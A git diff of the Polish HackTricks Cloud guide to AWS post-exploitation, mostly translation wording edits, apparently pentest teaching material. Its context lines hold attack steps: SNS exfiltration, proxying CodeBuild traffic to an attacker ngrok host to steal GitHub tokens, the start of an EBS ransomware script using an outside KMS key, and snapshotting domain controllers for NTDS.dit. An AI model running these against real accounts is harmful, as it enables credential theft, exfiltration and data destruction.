Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) po więcej informacji. Zauważ, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
|
||||
Możliwe jest **przyznanie dostępu do sekretów zewnętrznym kontom** za pomocą polityk zasobów. Sprawdź stronę [**Secrets Manager Privesc**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) w celu uzyskania dalszych informacji. Należy pamiętać, że aby **uzyskać dostęp do sekretu**, zewnętrzne konto również **musi mieć dostęp do klucza KMS szyfrującego sekret**.
|
||||
|
||||
### Poprzez Lambda Rotacji Sekretów
|
||||
|
||||
|
||||
@@ -67,7 +67,7 @@ Poniższa polityka daje wszystkim w AWS dostęp do odczytu i zapisu w SNS topic
|
||||
|
||||
Aby kontynuować eksfiltrację wszystkich wiadomości ze wszystkich tematów, atakujący może **utworzyć subskrybentów dla wszystkich tematów**.
|
||||
|
||||
Należy zauważyć, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
|
||||
Zauważ, że jeśli **temat jest typu FIFO**, można używać tylko subskrybentów korzystających z protokołu **SQS**.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
|
||||
@@ -26,9 +26,9 @@ aws sts get-session-token \
|
||||
</strong># Nazwa urządzenia wirtualnego to ARN w AWS, taki jak arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Juggling łańcucha ról
|
||||
### Juggling łańcuchów ról
|
||||
|
||||
[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaszenia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwaną odnowę poświadczeń.
|
||||
[**Łączenie ról to uznawana funkcja AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), często wykorzystywana do utrzymania ukrytej trwałości. Polega na możliwości **przyjęcia roli, która następnie przyjmuje inną**, potencjalnie wracając do początkowej roli w **cykliczny sposób**. Za każdym razem, gdy rola jest przyjmowana, pole wygaśnięcia poświadczeń jest odświeżane. W związku z tym, jeśli dwie role są skonfigurowane do wzajemnego przyjmowania się, ta konfiguracja pozwala na nieprzerwane odnawianie poświadczeń.
|
||||
|
||||
Możesz użyć tego [**narzędzia**](https://github.com/hotnops/AWSRoleJuggler/), aby kontynuować łączenie ról:
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -36,7 +36,7 @@ curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers
|
||||
|
||||
W sekcji **Enumeracja** możesz zobaczyć, jak **uzyskać plan użytkowania** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**.
|
||||
|
||||
**Klucz API** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**.
|
||||
**Klucz API** musi być **dołączony** w nagłówku **HTTP** o nazwie **`x-api-key`**.
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potencjalny wpływ**: Wycieki wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
|
||||
**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API.
|
||||
|
||||
> [!NOTE]
|
||||
> Wymaga testowania
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia REST API bramy API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**.
|
||||
Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co może osłabić bezpieczeństwo API**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
|
||||
+3
-3
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS).
|
||||
Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) w **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS).
|
||||
|
||||
#### scenariusz 1: MitM, gdzie CloudFront jest skonfigurowany do uzyskiwania dostępu do niektórego HTML z bucketu
|
||||
|
||||
@@ -20,12 +20,12 @@ Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misus
|
||||
- **Powiąż** ją z dystrybucją CloudFront.
|
||||
- Ustaw **typ zdarzenia na "Viewer Response"**.
|
||||
|
||||
Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwego JS.
|
||||
Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwy JS.
|
||||
|
||||
#### scenariusz 2: MitM, gdzie CloudFront już używa funkcji lambda
|
||||
|
||||
- **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje
|
||||
|
||||
Możesz sprawdzić [**kod tf do odtworzenia tych scenariuszy tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+6
-6
@@ -27,15 +27,15 @@ Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium ko
|
||||
|
||||
**Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**.
|
||||
|
||||
Napastnik z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\
|
||||
Aby to zrobić, napastnik musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których ustawione dane uwierzytelniające mają dostęp.\
|
||||
Aby to zrobić, atakujący musiałby po prostu **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane dane uwierzytelniające** (zauważ, że strona aws wyświetli wszystkie z nich):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I **zmienić polecenia Buildspec, aby wyeksfiltrować każde repozytorium**.
|
||||
I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**.
|
||||
|
||||
> [!WARNING]
|
||||
> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, napastnik **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
|
||||
> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\
|
||||
> A może ma? Sprawdź następny rozdział
|
||||
|
||||
### Wyciek Tokenów Dostępu z AWS CodeBuild
|
||||
@@ -50,7 +50,7 @@ aws-codebuild-token-leakage.md
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie.
|
||||
Atakujący mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
@@ -58,7 +58,7 @@ aws codebuild delete-project --name <value>
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów i polityki kontroli dostępu oparte na tagach.
|
||||
Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów w organizacji, śledzenie zasobów oraz polityki kontroli dostępu oparte na tagach.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
|
||||
+5
-5
@@ -10,7 +10,7 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Via Docker Image
|
||||
|
||||
Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
|
||||
Jeśli odkryjesz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **wyeksportować** ten **dostęp** (**token GH lub token OAuth**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu.
|
||||
|
||||
W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**.
|
||||
|
||||
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na koniec kliknij na **Zbuduj projekt**, **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
|
||||
- Na koniec kliknij na **Build the project**, **credentials** będą **wysyłane w czystym tekście** (base64) do portu mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Via HTTP protocol~~
|
||||
|
||||
> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już z niej korzystać :)**
|
||||
> [!TIP] > **Ta luka została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 roku (myślę, że w piątek). Więc atakujący nie może już tego nadużywać :)**
|
||||
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby wyciekować token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
|
||||
Atakujący z **podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket** skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, **tymczasowy token OAuth używany do uzyskania dostępu do kodu**.
|
||||
|
||||
- Atakujący mógłby dodać zmienne środowiskowe **http_proxy** i **https_proxy** do projektu CodeBuild wskazujące na jego maszynę (na przykład `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
@@ -158,7 +158,7 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Następnie kliknij **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
|
||||
- Następnie kliknij na **Zbuduj projekt** lub rozpocznij budowę z linii poleceń:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
|
||||
+5
-5
@@ -1,18 +1,18 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
# AWS - DLM Po Eksploatacji
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Menedżer cyklu życia danych (DLM)
|
||||
## Menedżer Cyklu Życia Danych (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS, a następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
|
||||
Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
|
||||
|
||||
Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu.
|
||||
Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status podłączenia i typ wolumenu.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowano również konkretne tagi do migawek i skopiowano tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
|
||||
Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowuje również określone tagi do migawek i kopiuje tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Atakujący z tymi uprawnieniami będzie w stanie **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
|
||||
Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -242,7 +242,7 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypassów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
**Potencjalny wpływ:** Wykorzystanie dalszych luk/bypasów poprzez możliwość dodawania/modyfikowania danych w tabeli DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
@@ -269,7 +269,7 @@ aws dynamodb delete-backup \
|
||||
> [!NOTE]
|
||||
> TODO: Przetestować, czy to rzeczywiście działa
|
||||
|
||||
Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć strumieniowanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
|
||||
Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
|
||||
|
||||
1. Włącz strumień na tabeli DynamoDB:
|
||||
```bash
|
||||
@@ -284,7 +284,7 @@ bashCopy codeaws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Uzyskaj iterator shard za pomocą ARN strumienia:
|
||||
3. Uzyskaj iterator shardów za pomocą ARN strumienia:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
|
||||
+6
-6
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
|
||||
|
||||
### **Złośliwe Lustro VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\
|
||||
Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania włamań (IDS) w celu analizy i monitorowania.\
|
||||
Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji:
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź tę stronę:
|
||||
@@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
|
||||
```
|
||||
### Privesc do ECS
|
||||
|
||||
Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchamiania instancji ECS, a następnie kradzież danych instancji ECS.
|
||||
Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS.
|
||||
|
||||
Dla [**więcej informacji sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
|
||||
|
||||
@@ -110,7 +110,7 @@ aws ssm start-session --target "$INSTANCE_ID"
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. Zaktualizuj pole `server` w pliku `$HOME/.kube/config`, aby wskazywało na `https://localhost`
|
||||
6. Zaktualizuj pole `server` w pliku `$HOME/.kube/config`, aby wskazywało na `https://localhost`
|
||||
7. Utwórz tunel SSM w następujący sposób:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
@@ -137,7 +137,7 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
```
|
||||
### EBS Ransomware PoC
|
||||
|
||||
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest używać go do szyfrowania różnych usług AWS.
|
||||
Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS.
|
||||
|
||||
Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny AWS account Principal. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'.
|
||||
```
|
||||
@@ -328,11 +328,11 @@ Poczekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie w
|
||||
|
||||
 
|
||||
|
||||
Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
|
||||
Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
|
||||
|
||||
 
|
||||
|
||||
To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
|
||||
To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywracając je do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
|
||||
+1
-1
@@ -124,7 +124,7 @@ ls /mnt
|
||||
|
||||
Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
|
||||
|
||||
Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
|
||||
Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+2
-2
@@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów na temat ataku!**
|
||||
**Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów dotyczących ataku!**
|
||||
|
||||
Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja zwana “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów w sieci (IDS) w celu **analizy**.
|
||||
|
||||
Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwane tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
|
||||
Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwany tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
|
||||
|
||||
**Wpływ** złośliwego mirroringu ruchu VPC może być znaczący, ponieważ pozwala atakującym na dostęp do **wrażliwych informacji** przesyłanych w VPC. **Prawdopodobieństwo** takiego złośliwego mirroringu jest wysokie, biorąc pod uwagę obecność **ruchu w postaci czystego tekstu** przepływającego przez VPC. Wiele firm używa protokołów w postaci czystego tekstu w swoich sieciach wewnętrznych z powodów **wydajnościowych**, zakładając, że tradycyjne ataki typu man-in-the-middle nie są możliwe.
|
||||
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
# AWS - ECR Po Eksploatacji
|
||||
# AWS - ECR Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
+8
-8
@@ -1,4 +1,4 @@
|
||||
# AWS - EKS Po Eksploatacji
|
||||
# AWS - EKS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,7 +10,7 @@ Aby uzyskać więcej informacji, sprawdź
|
||||
../aws-services/aws-eks-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Wyliczanie klastra z konsoli AWS
|
||||
### Enumeracja klastra z konsoli AWS
|
||||
|
||||
